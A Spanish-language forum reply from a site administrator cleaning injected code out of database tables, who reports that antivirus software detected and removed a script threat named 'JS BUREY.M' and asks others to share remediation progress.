Yo también estoy en la misma situación que vosotros, optimizando filtros y borrando código inyectado en tablas.
Es una mierda porque a pesar de dedicar mucho tiempo a limpiar tablas nunca estás del todo seguro de que no se te haya escapado algo.
En fin...

No sé si alguien lo ha comentado por ahí pero esta mañana pasando el antivirus en el servidor he encontrado y eliminado el JS BUREY.M
El antivirus que lo ha encontrado es el trend.
No lo digo con intención de hacer publicidad sino de compartir la mayor información posible para poder frente entre todos a este ataque.
Según tengo entendido el kaspersky y el avira también son capaces de detectarlo.

Por favor, cualquier otro avance que hagáis con este tema publicadlo.
A ver si entre todos conseguimos encontrar una solución definitiva.

¡Salud!
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta

SíEste tema le ha gustado a 1 personas (incluyéndote)




La zona horaria es GMT -6. Ahora son las 09:20.